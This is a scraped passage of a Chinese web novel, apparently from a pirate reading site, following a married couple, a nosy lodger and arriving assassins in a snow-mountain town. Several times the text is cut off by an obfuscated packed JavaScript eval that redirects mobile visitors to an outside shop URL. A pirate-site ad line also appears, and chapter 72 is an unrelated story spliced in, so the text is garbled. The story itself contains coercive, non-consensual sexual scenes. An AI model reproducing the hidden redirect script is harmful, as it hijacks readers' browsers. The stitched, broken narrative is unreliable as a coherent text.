韩默麻木地站在这个家庭的照片墙前。从威尼斯到佛罗伦萨从卡贝尔桥到蒙马特这对恩爱的夫夫显然旅行打卡了许多城市就连搬到雪山镇后也留下了无数的合照。白唯购买的陶瓷人偶和卢森购买的自行车摆件亲密地贴在钢琴上面。厨房里也不时传来二人的欢声笑语。 看起来毫无异常。韩默正要兴趣缺缺地收回目光 即使他们正穿着完全不同的衣服!而且一张照片是在新加坡拍摄的一张照片在阿拉斯加! 韩默顿时蹲下仔细查看。很快他发现这两张照片上白唯和卢森的衣服款式甚至都是一模一样的只是A照片上白唯穿着白毛衣B照片上白唯穿着黑毛衣。卢森的打扮则相 似得更省事了,他甚至只是多了个墨镜……等下,白唯在新加坡穿厚厚的白毛衣?卢森在阿拉斯加穿花衬衫配墨镜? 这对夫夫在玩什么奇怪的play吗? 韩默就在这时又发现了几张新加入的照片,这些照片更诡异了。照片里只有白唯,而且大多是背影或者侧影,超绝偷感视角。白唯在德国吃酸菜肘子,白唯在西班牙吃煮章鱼,白唯在俄罗斯吃鱼子酱,甚至还有仰拍视角,白唯向一个地方奔来…… 这视角看起来像有人在井盖里给白唯拍的……什么东西? 甚至还有一张是白唯站在墓地前,手里拿着铁锹。 “你在看我们的照片墙吗?这个照片墙是我们在家里最喜欢的地方。因为它使我们的生活很有真实感。” 卢森的声音忽然出现在他背后。 真实感??在盗墓和钻下水道的真实感吗?韩默刚回头,就被眼前的两个人吓了一跳。 “你的手……”卢森捧着白唯手指的动作好像消防员捧着高压水枪。 “他刚刚不小心,差点把菜刀掉在我的脚上,结果自己的手指被割伤了。”卢森说。 “我的手指没有喷血。你完全不用这个姿势。”白唯说。 卢森看起来是被白唯手指上的伤口吓到了,不顾对方的反对,掏了医药包来给他包扎。两人在沙发上你侬我侬,终于才想起了站在旁边的客人。 卢森笑得阳光灿烂:“你知道的,我的夫人总是粗心大意。” 白唯低着头,似乎有些羞涩:“你知道的,我的丈夫总是有些反应过度。” 他纤长的小拇指被包得像个猪脚。 韩默:“……不,我不想知道。” 在无人可见的地方,白唯的另一只手青筋突起,抓住了沙发。 ……韩默觉得自己在这个家里很不受欢迎。两夫夫在做饭,他在家里到处闲逛。一楼很大,而且经过改造,除了客厅,竟然还有个可以做舞厅的聚会厅,一架价格昂贵的钢琴正摆在那里。 ……如果能让我住在这里的话。韩默羡慕地摸了摸钢琴盖。忽然之间,他发现钢琴上好像有点掉漆。 像是砸了什么东西一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481499|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样……哦那个支撑螺丝?怎么看起来断过? “靠近它时小心一点。不小心的话, 你的头是会被夹进钢琴盖子里的。” 卢森的声音在韩默背后幽幽响起。韩默被吓了一跳回头看向背后的卢森。 这样一看卢森像是一座山一样。韩默努力让自己松口气开玩笑一般道:“是么?那还挺倒霉的。我只听说过手被夹在钢琴盖子里的。” “电影里有句台词生活就像一盒巧克力你永远不知道下一颗是什么口味的。”卢森微笑“这是我很喜欢的一部电影。它告诉我 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)生活里总会有美丽的意外发生。” 如果生活像你刚刚说的那个场景一样那么这巧克力盒里装的应该都是屎。韩默在心里默默吐槽着。 他和卢森一前一后经过楼梯间旁边的座机电话——这年头竟然还有家里用座机的地方看起来像是暴风雪山庄故事里会被剪掉电话线的那种座机。楼梯出口正对着的柱子上挂着一幅画画里是一座玫瑰小屋——韩默这才注意到这座小屋。这小屋看起来和白唯卢森的小屋如此相像。 就是小屋中间插着一根长长的箭……见卢森看向自己韩默疑惑道:“这是什么艺术吗?” 好艺术看不懂。 卢森:“这是一段美好经历的证明。按理说我应该把它丢掉。但我舍不得扔因为这也是我和阿唯人生经历的一部分。” 这是什么艺术再创作吗。看不懂难道是卢森画了这一幅描摹他们家里的画白唯站在楼梯上用弓弩射击了它从而组成了一幅名为《突破二次元》的新时代艺术?对此韩默只能夸赞:“好艺术好艺术。令夫人的品味可真不错啊!” 不远处餐桌旁的白唯看着眼前的场景:“……” 感觉自己的风评又被害了。 坐在热气腾腾的大餐前韩默清醒地知道自己的这个下午就是一个笑话。很显然白唯骗了他。这个狡猾的作家出于取材的目的向他编撰了一个谋杀丈夫的故事。俗话说得好人被杀就会死。怎么可能有被谋杀了这么多次却还活生生的老公。 但这对夫夫也不讨人厌屋内香薰的味道也很宜人就是有点冲像是在掩盖什么味道。屋外下起了淅淅沥沥的雨韩默在暖黄灯光下举起杯子和他们干了一杯。 “事实上在一年半前也就是我刚搬来这里时我对园艺并不擅长。在这 件事上隔壁的老法官一家帮了我许多。我能种活那么多蔷薇也得益于他们的教导。”卢森拿了一把小餐刀准备分割一扇烤牛排骨“我的烘焙与烹饪能力也是在来到这座小镇后培养出来的在这座小镇的帮助下我还拥有了自己的修车店。我很感谢雪山镇这里真是个好地方。” “餐刀的方向反了你应该顺着排骨的纹理切……”韩默试图阻止他。 “咔。” 那扇烤排骨被顺利地横向切成了三块。 看着被分到自己的碗里的、还带着血水的烤排骨那森森的断口在看着那把圆润的小餐刀韩默很难理解卢森是怎么做到的。他看了一眼白唯发现白唯正在无聊地喝汤。 或许维修工人的力气就是很大吧。韩默只能试图这么解释。 “雪山镇的确是个好地方。我比你们早两年搬来这里原本也想住在柳溪。可惜没有通过社区审查。他们说我在镇上的信用历史太短所以我只能在西边退而求其次。”韩默说“你们也是初来乍到是怎么说服那群固执的业主的?” 面对这个问题卢森一边切割自己的烤排骨一边大笑。 “哈哈改变别人的认知也不是什么很难的事。” 他牙齿森白刀下的排骨被他切成一个个带着血水的小块。 白唯不知道从何时开始便不再参与谈话了只低头吃自己的东西。他不与卢森互动时看起来冷淡空洞像是高高在上的杂志人偶。屋外的雨越来越大餐桌中央的烛火闪烁。韩默又吐出了一个问题:“你们是怎么想到搬来这里的?像你们这样抛弃大城市的繁华来到这里的人很少见。” “为了治疗阿唯的呼吸系统医生说远离都市对他会有好处。而且这里靠近雪山景色优美。说到这里虽然没有直达这里的机场 韩默顿时笑得乐掉了大牙:“开民宿?一年到头也没有几个人会来雪山镇。而且最近还有连环杀手的传闻我想你的创业之路恐怕刚刚开始就要中道崩殂了。哦我想应该不会没有人没劝过你……” 卢森正要开口厨房里却传来了叮的微波炉启动的声音。 “ 我去看看。”他说着将盘子里切好的排骨夹给白唯。 白唯没有夹排骨而是盯着厨房的方向看。韩默正在疑惑便听见厨房里传来一声巨响。 “碰!” 巨响只在一瞬间韩默仿佛看见了火花……但火花以一种超自然的形态忽然间消失无踪了。几分钟后卢森从厨房里走了出来他有些嗔怪地看着白唯道:“是不是你把密封的牛奶瓶放到微波炉里加热了?” “怎么了?”白唯茫然地看着他他像是一下子就活了过来“老公你知道的我有每天晚上喝热牛奶的习惯。” “下次不可以了哦会爆炸的。”卢森摸了摸他的头叹了口气 韩默:…… 微波炉?爆炸? 他方才明明看见了火花和黑烟可卢森看起来怎么是一副完好无损的样子? 白唯用手掩唇以示震惊清冷声线飘出一句软软的:“还是老公你好。” 一句话又从韩默的嘴里飘了出来:“你们是怎么认识的呢?” 提起这个话题卢森开始滔滔不绝。 “我们是在北都认识的家族介绍相亲见面但并没有确定关系。然后那时候我刚刚搬到那座城市对北都以及很多事情都不太了解于是经常去图书馆。老图书管理员病了委托同样在北都的阿唯为她代班。那是我第三次遇见他。当时我不小心用手指甲弄坏了一本孤品书阿唯很耐心地在二手市场上找到了一本全新的作为替代而且还修复了那张书页。”说到初遇卢森的脸上泛起了怀念的笑容“那时候我想像他这么耐心又完美主义的人是一定不会轻易地离开我的。” “事实也确实如此。” 韩默:…… 轻易地离开我?耐心细致完美主义? 韩默想继续追问二人的背景。两人既然在北都认识在那之前他们又在从事什么行业? “读书。”白唯回答得简明扼要。 卢森却没有给出他的回答。他笑了笑跳到了下一个话题。 有所隐瞒一定有鬼。韩默正在琢磨他的小腿上却传来了酥酥麻麻的被什么东西摩挲了一下的感觉。 他借 第 71 章 粉饰太平 第71章粉饰太平 “宝宝,你怎么看?”卢森忽然转头,向白唯提问。 “你说得对。雨这么大,韩医生在回去路上要是出事了怎么办?我很担心……”白唯说着话,眼睛却瞥着其他地方,活像不敢和韩默对视,“就让他住在203吧。” 明明是卢森先邀请韩默住下,此刻却又是卢森骤然露出了阴郁而不妙的神态。 卢森抿着唇,深灰色眼睛盯着韩默看。他仿佛在看韩默那身笔挺的西装,金丝的眼镜,LV的皮带,抹着发油、造型良好的头发……他爹的,看起来和他老婆的学院派白衬衫还有领带那么登对。而他只是个穿着牛仔外套和T恤出门的修车店老板。 “203?”卢森重复了一遍。 “嗯。”白唯说,“你去把我没拆封的睡衣拿出来给韩医生,我们两个的体型比较相近。” 卢森的眼珠停止转动了。他微微一笑,韩默却意识到此人此刻一定怒火中烧。 但白唯在旁边,雄性争夺领地的意识爆发,韩默不想示弱。他撑着自己有点发抖的腿,也强势地微笑道:“多谢你们。” 卢森从门框上离开了,像是一只阴郁、却保持微笑的野兽。 “把我的新睡衣给他。”卢森说,“不用你的。” 白唯也没有坚持:“你拿哪件?” “不是情侣款的那件。”卢森上楼,脚步咚咚的,“不用你去,我自己去找。” “有吗?不是每套都是情侣款么?”白唯说。 卢森:…… 卢森的脚步声更重了。韩默对白唯露出一个笑容。好巧,他发现白唯也在笑。 “不,我记得有一套,属于你的那一件被我扯碎了。”楼上忽然传来卢森的声音。 白唯的表情顷刻间变得有点扭曲。 韩默丝毫不受影响。快乐的感觉一直持续到韩默到达203。韩默顿时更快乐了。 隔开两栋联排别墅的、二楼走廊中间的门坏掉了,只剩一个门框。二人的家是A栋,民宿是B栋。203对面是储物壁橱,斜对面就是白唯和卢森居住的A栋主卧。 203是距离主卧最近的房间。 民宿房间维持了白唯家 一贯的布置风格。彩色玻璃台灯,深绿色的床头柜,立柱式的床铺,复古又漂亮。除了一幅巨大的画突兀地挂在上方的墙纸与下方的木面之间,如同在遮盖什么东西似的,破坏了房间的美感。画布中是一片黑色森林,角落则用黑色墨水写着白唯首字母的缩写。 越看越让人觉得诡异,但韩默没有细想。 “或许不用拿着把柄威胁,白唯也会自愿和我发生点什么。 韩默兴奋地想着。 果然在半夜因寒冷去拿多余的被子时,他听到了一点动静。 白唯将家居服整整齐齐地挂在衣柜里,在卫生间里花费了比平时更长的时间。他修剪指甲,活动脚腕,又在椅子上细想了一遍,确认所有东西都在它该被放在的地方。想到自己藏在邻居家里的护照和离开雪山镇的路线时,他在镜子里看见那个冷漠阴郁的自己。 这个计划很极端,也很冒险,谁知道卢森会不会在盛怒状态下也对他下手——想到这里,白唯除了害怕之外,还有一点怒火和委屈。 如果不是因为卢森怎么都死不了,如果不是因为卢森不识好歹,甚至不能接受和他分居,他至于做这些事吗?! 回想起韩默脚踝的触感,白唯又有点想吐了。 “都是卢森的错。他恶狠狠地想着。 从卫生间里出来时,白唯又戴上了他的面具。他的“丈夫坐在床上看书,深不见底的眼珠跟着他转。白唯知道他在想什么,卢森在想这些日子以来发生的事。 不明的骚扰邮件,结婚快两年的妻子的出轨,妻子邀请出轨对象住在家中,光明正大与对方调情,这样的事足以让任何一个男人变成一只蓄势待发的雄狮。可出乎白唯的意料,卢森没有发怒,也没有和他争吵,甚至还拿着往常在看的书在粉饰太平。这让他一时拿不准自己该怎么过去。 是按照计划地对他冷淡,还是“粉饰太平、心虚地撒着娇? 算起来,这已经是他和卢森的最后一夜了。无论计划成功还是失败,他们都不可能再像从前一样。眼前的这一切,过去一年半在雪山镇的种种,都将成为往日的泡影。 想到这里,白唯一时间有些恍惚。 白唯最终如往日里一般走到了床上。没有质问,没有追根究底,没有发火,卢森 此刻的一切表现都在他的计划之外。白唯因此难免有些茫然与不安定。 强压心中疑虑,白唯伸手按灭床头灯。卧室陷入黑暗的瞬间,他的手背被另一只大手按住了。 ! 被重量富有暗示性地压着,白唯立刻想到了自己今晚的计划。他说:“我今晚不想做。” 意识到自己的语气冷冰冰,白唯放软了声音道:“老公,我累了……” 夜色里他看不见卢森的脸。白日里对他言听计从的“丈夫”用同样温和的声音说:“不行。” 是那种让所有人都会觉得此事可以商量的语气,字句却斩钉截铁。 白唯膝击对方的腹部。在意识到自己做了什么后白唯一身冷汗。藏在他骨子里的、来自他生身父亲基因的不管不顾的狠又冒了出来。这不是和卢森打架的时候,他得让卢森把怒气留给他找来的心理医生,可身体已经从床上跳了下来,坐在了靠墙的沙发上。 卢森也从床上下来了。他用手摸了摸自己的腹部,对白唯说:“亲爱的,你在攻击我吗?” 声音温温柔柔,像是非人的动物,又像是狂烈地压抑着自己此刻感受的大型生物。 白唯靠在椅子上,盯着那团阴影。 “老公,”白唯心一狠,揽住对方的肩膀把他带到了沙发上,自己骑到了他的身上,“在沙发上吧。” 他主动去吻他,心里思考这个姿势或许还能省点力气。 …… 走廊无人,寂静无声,主卧的门缝里的灯也灭了。进入深挖的壁橱之内,韩默刚找到一床棉被,就隐约听见了隔墙的动静。 这间深挖的壁橱原来是用来隔离主卧和202房间的。有这小空间做遮挡,202的客人就不会听见主卧里的声音。 可今天的白唯和卢森不在远离这面墙的床上,而在靠近这面墙的沙发上。 韩默兴奋而隐秘地听着从主卧里传来的动静。动静声很模糊,但配合着想象力,很容易知道主卧里的两个人在做什么。 这声音可真激烈,感觉沙发都要塌了。墙壁的隔音效果还是很不错的,而且白唯也在努力压抑自己的声音,只是最后受不了了,有哭声从那边透了过来。 或许是白唯含含混混地叫了几声老公,那边家具的声音 才暂时停下了。不过韩默心里有鬼,害怕自己被发现,悄悄地溜回了自己的房间里。 只是一小时过后,韩默仍然克制不住自己的遐想。他躺在床上,裹在有白唯家清新香气的被子里,看着墙壁上那幅黑色的森林。森林里渐渐有莹白的一双脚走了出来,停在他的面前,用脚尖去勾他的腿。韩默往森林里去看,他看见白鸟一样的少年坐在黑色的沼泽上,他全身苍白,只有关节处发粉发红,他向他伸出手…… “轰! 韩默被巨大的雷声打醒。 更让他震惊的,是他闻到了香气……比起在白天时,那香气更加浓郁了。电光闪烁,他看见了白唯。双腿纤长的青年反坐在书桌前的椅子上。他柔软的头发乱糟糟的,只穿了一身过于宽大的睡裙,苍白的锁骨和肩膀都露在外面。电光照亮他脸颊上的泪痕和脖颈上的痕迹,他双手交缠在椅背上,面无表情的脸脆弱得让人心碎。 韩默喉结一动,感觉身体的某个部位热了起来。他轻咳了一声,理解了一切地向白唯走了过去:“白唯,亲爱的…… “你也看到了。白唯用他那清冷的嗓音哽咽地说,“我没办法再忍受和他在一起了,和他继续同床共枕…… 韩默喉咙里低吼一声,就要扑过去抱住他,再把他搂到床上。就在此刻,又是一声惊雷! 比每一道惊雷,还要巨大的惊雷! 这惊雷就劈在蔷薇园不远处,以至于整栋联排小屋都为之一震。 窗户开了,不只是韩默的,还有别的房间的窗户,狂风骤雨刮进来,把窗帘吹得像是舞女乱舞的裙。韩默顶着风雨去关窗户,墙上悬挂不稳的巨大画作却被风吹掉了,砸在地上发出“哐!的一声。 画作背后也是森林,张牙舞爪的、喷溅式的黑森林! “! 对面主卧的门开了。白唯跨坐在床上,冰冷手指捂住韩默的嘴:“别出声。 他的气声凉凉的,像是冷酷的杀手。 “阿唯? “阿唯? 走廊里一声声,传来卢森的声音。他的脚步声在走廊里的每一处游荡,空洞的声音像是鬼一样。 白唯走在韩默背后,他捂住对方的嘴,把门打开一条缝,让两双眼睛都能往外看。这几步路已经 耗尽他所有力气了。他原本计划自己会更有力气来做这件事但卢森今晚简直在把他往死里弄他走路时大腿都在抖。他们看着卢森高大的背影在走廊里游荡最终停在了厕所附近。 “厕所门虚掩着哦。你在厕所里……怎么不去主卧的厕所阿唯?” 就在那时站在前面的、眼尖的韩默却看见有什么东西高高悬在厕所门上…… “咚!” 呃呃呃呜呜呜!! 斧头!借着电光韩默看清了是一把闪着寒光的斧头! 他清晰地看见斧头直直地劈开了卢森的脑袋就像劈开一只西瓜……下一刻随着迟来雷声的巨响还有眼前一花。卢森很快爬了起来。 他摸摸脑袋——不是为了从两边把脑袋合上而是单纯地摸了摸把斧头放在旁边靠住进厕所了。 白唯站在韩默的背后被遮挡了视线。他没有看见可韩默却完整地看见了卢森合上脑袋的全过程。 韩默觉得自己的小腿在抖……还好他没有喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白唯骤然转头,震惊地看了一眼那条插销。 他忘记把卢森的超能力也算在计划之中了! 被夹在这对神奇的夫夫之间,韩默却只有恐惧。卢森看着他的眼神如看着一团死肉,很轻易就能把他剥皮拆骨。那一刻韩默确信眼前的这个人一定杀过人。 “所以是你啊。 “不…… “给我们家里寄信的人,故意留下袜子示威的人,在我不在家时和我的妻子吃双人午饭的人,下午和他私会的人……卢森蹲下身来看着被吓倒在地上,涕泗横流的韩默,“你应该庆幸你没有在他的身体里留下你的味道,否则事情可没有那么简单了。 “卢森…… 谁能想到卢森的心灵竟然这么博大、对自己妻子的小三也能如此宽容?可卢森的下一句话却峰回路转:“在天亮之前,我会把他处理好的。 他说这话,就像他说他要处理一条腐烂的鱼,处理一块坏掉的牛排骨,处理掉花园里的红蜘蛛,冷冰冰、厌恶、却视要处理掉的东西如物品。而且他这话竟然是对着白唯说的。 而不是对着他本该发泄愤怒的韩默,就像他根本不存在于这场对话里。 卢森对白唯笑,那笑容如此温暖洋溢,宽和体贴:“阿唯,你只是被他骚扰了。明天太阳升起时,我们还会是一个很好的家庭。阿唯,你 放心如果你伤心的话——我有办法会让你不伤心的——” 对于任何真正的出轨的妻子来说此刻他们应感到如释重负。因为罪责不被惩罚。 而白唯此刻竟然骤然感到强烈的愤怒。 他把自己当什么?直到这一刻他还想粉饰太平? 作者有话要说 感谢在2024-08-1817:34:32~2024-08-2002:57:53期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:地板凉了1个; 感谢灌溉营养液的小天使:我们的征途是星辰大海116瓶;68099518100瓶;南泥灣煙64瓶;爱吃才会赢、海纳百川40瓶;阿巴一条魚37瓶;行动喵、伽伽伽伽、6781324530瓶;噶哈哈哈噶22瓶;冷翡、我不管我嗑的cp一定、吾往矣、榛子不好吃、傲娇的沫子、victory20瓶;安折15瓶;你好好想想、Tattoa、莫狐、榴莲派摩羯兔、唐家小妍子、llin、一位霸总、冰冰糖啵啵鱼10瓶;你说啥?6瓶;人生得意需尽欢、魏嬉Sean、金桔柠檬猹5瓶;星行夜归3瓶;猫猫控、Lemonade、京阙、亭台楼榭、呜呜呀、墨微雨、咕枯2瓶;天河仰波、68651413、常若深鳩、声声、曦月与婵娟、65821429、好饿好饿想吃人、粥粥今天想吃饭、十五祭江月、旧词、复工后、牛紫文gh、你好、小野、又菜又挑日常挨饿.jpg、70237423、我说不言语云无归处、五夏绝配、三七丁、李有病、二千里外故人心、时闻、九六一十、rrrycslll、hi、香蕉不黄、青舟、半夜叫喳喳、疏霓、朗、非生命物质、西顾1瓶; 非常感谢大家对我的支持我会继续努力的! 第 72 章 你不要生气了 付疏快死了,她能清楚地感受到。 原来人真的能预感死亡。这一刻,她竟然还能冒出这样的想法。 52岁,即使在上个世纪,也算不得长寿,何况是医疗发达的现代。 幼年的生活为她身体衰败打下了坚实的基础,任她成年后怎么努力调养也无法改变早亡的结果。 主治医生有些不赞同地看着面前这位固执的病人:这个即使恶疾缠身也依旧体面淡然的老太太,执拗地不准把她病危的消息告诉她的儿女。 “付女士……” 付疏缓慢地抬手,这个曾经指点风云的动作就算不再凌厉,也仍旧有它的气势,成功地封住了医生不忍的话语。 她下巴微抬,手指和眼珠都迟缓地转向右侧,那里站着一个身着西装,扮相干练的男人。 “您放心。”何冶朝向病床微微鞠躬,镜片后的眼里流露出崇敬和哀恸。 “嗯……”付疏满意地发出一声气音,隔着氧气罩显得更加模糊不清。 她双手交握放在小腹上,调整好嘴角的弧度,缓缓地闭上了眼睛。若是把背景换成舒适的卧房,那迎接她的定是美梦一场。 可惜这里是病房,S市旭日私立医院的重症监护病房。 氧气罩里的雾气断续渐无,心电图仪一声长鸣,病房里那年轻小护理的哭声终于抑制不住。 何冶看着手里那份遗嘱,眼眶微红,可他并没有太多时间悲伤,他还要去完成雇主的委托。 ………… 死亡的滋味真的不太好受,尤其是和现在的轻松相比。 是的,轻松。 不需要感受器官的衰竭,呼吸的困难,血液的凝固,即使是虚无,也显得无比轻松。 什么都看不到,什么也听不到,没有光、颜色、声音、触感,她丧失了所有感觉。这对一个普通人来说极其恐怖,但对一个死过一次的人,倒并不觉得难以接受。 “滴——编码识别中——识别成功——登录中——登陆成功。” 温和平缓的声音在意识中想起,非常容易让人有好感。至少在付疏所了解的电子系统设备中,是不存在这种无机械感的声音的。 这让付疏暗暗惊奇,她非常确定自己已经死了,这就是死后的世界吗? “尊敬的水蓝星用户付疏:你好,D4691位面水蓝星客户端系统Y5233为您服务,请查看您的生平!如有错误,请及时向Y5233反馈,如无错误,请签字。” 还没来得及想明白,一阵电流对接的战栗过后,付疏的意识里打开了一系列像电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481501|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影胶卷的画面,五十二帧动态画面一一掠过,她的一生就尽数呈现出来。 她非常确信没有任何一个人可以在这样短的时间内总览五十二年的光景,并且这些年内的每一时刻都历历在目,偏偏她此时做到了。 她为这种超出认知范围的科技惊叹,却并没有露出端倪。 “如有错误,请及时向Y5233反馈,如无错误,请签字。” Y5233是没有不耐烦这种情绪的,只是程序设定它需要在规定时间内重复指令。 “签字后,会怎么样?”意识自动形成了她的声音,连语气都很像她,宽和淡然。 “经系统判别后,合格及以上的基因编码片段投入到各客户端新的基因编码组合中,与其他基因编码片段排列组合形成新的基因生物,不合格的基因编码片段送到位面回收站集中处理。” 这算不算是把优胜劣汰的法则程序化? 每一个死去的人都在为人类的进步做贡献,而每一个新的生命又是祖先优良基因的延续。付疏觉得这比什么前世今生功德圆满靠谱多了。 “如无错误,请签……嗞……嗞嗞……” 付疏正想用意识把名字签在胶卷下方的留白处,突然感受到剧烈的灼烧和疼痛,痛得她连意识都没有了。:,,, 第 73 章 三方人马 第73章三方人马 “呼……呼呼……” 嘴唇分开时,白唯用牙齿狠狠地咬破了对方的舌头,可那比平日每一次浓度都要高的甜蜜液体已经流进了他的喉咙里。他哑着嗓子,咬牙切齿地说:“你到底是什么鬼东西?” 卢森只答道:“我也不知道。” 他舔干净了自己的血。 白唯忍耐。他用手背用力地擦自己的下巴和嘴唇:“韩默的尸体呢?” 卢森的表情骤然变得非常难看。白唯说:“来了两个陌生住客。你以为这是你耍脾气的时候吗?” “他没死,但你永远也找不到他。”卢森冷硬地说。 也就是说,卢森已经把他藏起来了,就藏在这个家里的某处……白唯一下就理解了。 “杀他是犯法的……”白唯故意这样说,然后就看见卢森又蹲了下来,他伸手往白唯的睡裙里探。 白唯的表情立刻变得比卢森还要难看:“别碰我……我现在没心情和你做!” 卢森停下了手,但只是一瞬。然后他眼睛看着白唯。 “但我想要。”他说。 卧室里又开始上演全武行。他们斥巨资购买的地毯起到了很好的隔音作用,成功的吸住了他们之间互殴的声音。与此同时,骤然爆发在他们之间的,卢森身上散发出来的气息,和他方才与白唯接吻时,白唯尝到的嘴里浓度极高的甜蜜液体终于起了作用,白唯浑身上下热浪翻涌。在卢森终于掰开白唯的双腿,准备开始,而白唯打算立刻尖叫引起新住客注意时…… “叮咚!” “叮咚!” 卢森挂在门外的那个串联铃铛,又响了起来。 这次的声音很规律,很冷静。 两个人的动作都停滞住了。而后,白唯用力地推了一把正在往他身上怼的卢森:“你的民宿。” 卢森:…… “你不是很宝贝你这个破民宿吗?又有客人来了,你高不高兴……啊!” 白唯的尾音一下子变了调。卢森十分草草地结束了两下,穿好衣服,又把白唯的手绑了起来。 “不要乱跑。”卢森说着,给白唯还戴了个眼罩,并且吻了下他的嘴唇。 白唯:…… 卢森又出门了。谁能想到,在这个白唯伪装出轨的夜晚,他竟然无师自通般地学会了放置。 站在门前的是一对黑衣男女,同样穿着风衣,同样带着大箱子。见卢森迟迟才来开门,他们也没有露出不耐烦的神色。女人只是说:“我们是来雪山镇玩的游客,路上遇见泥石流,车抛锚了。加油站老板说你这里有家民宿,还有空房间吗?” “还有三个,两个单人间一个双人间。”卢森有点心不在焉。 两人交换眼神。女人说:“我们选双人间。” 卢森拿了钥匙。两人默不作声地跟在卢森身后。尽管有大雨滂沱,可两个人走起路来的脚步声远比普通人还要小,几近无声。 或许是因为卢森的体型,他们对卢森总保持着相隔两步,谨慎又忌惮的态度。在开门后,卢森看见叶涵正好在一楼通往二楼的楼梯上。 叶涵也目光穿过客厅,看见了卢森和他背后的两人,他的表情也变得有点尴尬。 去听楼上的响动,刚上楼却看见民宿的主人是种什么样的体验。还好叶涵有他引以为傲的反应速度:“晚上好,老板,还没睡啊。” 说着,他探了探头:“有新客人来?” “和你一样,都是遭遇了泥石流的。”卢森说。 卢森的表情比之前还要不热情了。叶涵估摸着,觉得事情更加奇怪了。回想起刚才在房间里听见的楼上的追逐和倒地声,他头皮发麻,觉得这座民宿里一定有大秘密。 “莫霓。”黑衣女人和叶涵握手。 “莫索。”黑衣男人说。 他们的手都很冰凉,而且有受过专业训练的痕迹。这一下子就让叶涵警觉起来了。 与此同时,让他同样心惊的是,他自己的手上,同样也有枪支训练的痕迹。 三个人脸上都没有什么特殊的表情。卢森把钥匙给莫霓和莫索:“地下室挺大的,有独立的卫生间和客厅,还有小厨房。你们饿的时候可以煮点东西吃。” “谢谢。”莫霓礼貌地说。 在卢森离开后,叶涵就窜回自己的房间里,向老探员汇报情况了。而莫霓观察了片刻一楼布局,也进入了地下室。 这家民宿的地下室准确地来说是半地下设置。它有一整排天窗与 半拉窗户,尽管此刻雨水正拍打在玻璃上,但出太阳时想必其中十分明亮温暖,还能看见花园的景色。莫霓下楼时莫索已经检查完了地下室,他说:“地下室用的都是最好的隔音材料。 莫霓点点头。她坐在沙发上,拉住莫索的手。莫索拍拍她,向她承诺:“这会是我们的最后一票的! 雪山镇上纯洁的羔羊们一定不知道,他们两个人的真实身份,是杀手组织臭名昭著的一对情侣搭档。 多年来,他们一直在为杀手组织效力,暗杀各种目标。直到外乡人出现,他们干掉的十几个连环杀手都属于杀手组织,有几个还是高层,这导致杀手组织下定决心对他们发起了仇杀令。莫氏搭档作为杀手组织里的重要成员,当然也是有责任完成这一任务。 然而,这两个人自己的算盘却完全并非如此! 他们早就想脱离杀手组织,干一票大的,然后去过自己的生活。恰好组织里有个也有二心的高层给了他们承诺:只要他们能把第一连环杀手的尸体或者活人带回来,让他得到第一连环杀手藏起来的一个重要信物,他就能给他们一大笔钱,还能洗掉他们在杀手组织里的档案。 这世上还有比这更双赢的好事吗?于是,在查到前些日子第一杀手的信号曾出现在雪山镇后,他们就立刻带上装备,赶了过来。 这两个人都是心狠手辣之徒,如果达成目的需要干掉民宿老板之类的平民,他们根本不会犹豫。但刚到这里,他们就发现民宿老板明显十分健壮,那个一楼的住客也有些异常。 “我们还是小心行事的好。毕竟,我们是来这里找人的,而且我们自己也不知道第一连环杀手的模样。莫霓压低了嗓子道。 “你去二楼看看,我去一楼。有可能的话,把摄像头装上。莫索也十分认可。 一楼双人间里,叶涵趴在地上,仔细听地下传来的动静。老探员在旁边悠悠道:“别白费劲了。这屋子的地下室用的是最好的隔音材料,我已经看过了。 “开民宿至于每个房间都用最好的隔音材料吗?这个老板肯定有鬼。叶涵越来越觉得怀疑,“在雪山镇上开一家投资这样巨大的民宿?而且你没有看见,新来的那两名租客也非常奇怪。两个人都有锻炼过的痕迹,我怀疑我们进贼窝了。 他虚开门缝观察,果然,一个小时后他看见那新来的一男一女从地下室里走了出来。男的在一楼观察摄像头,女的上了二楼。 这屋子真有问题!!叶涵心中震颤。 他回头问老探员:“楼上还有动静吗? “从两个小时前就没有了……哦,现在好像又有了。 …… 白唯和卢森刚在房间里完成一轮运动。 这是白唯从小到大第一次经历蒙眼放置play。自从卢森进房间,到他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 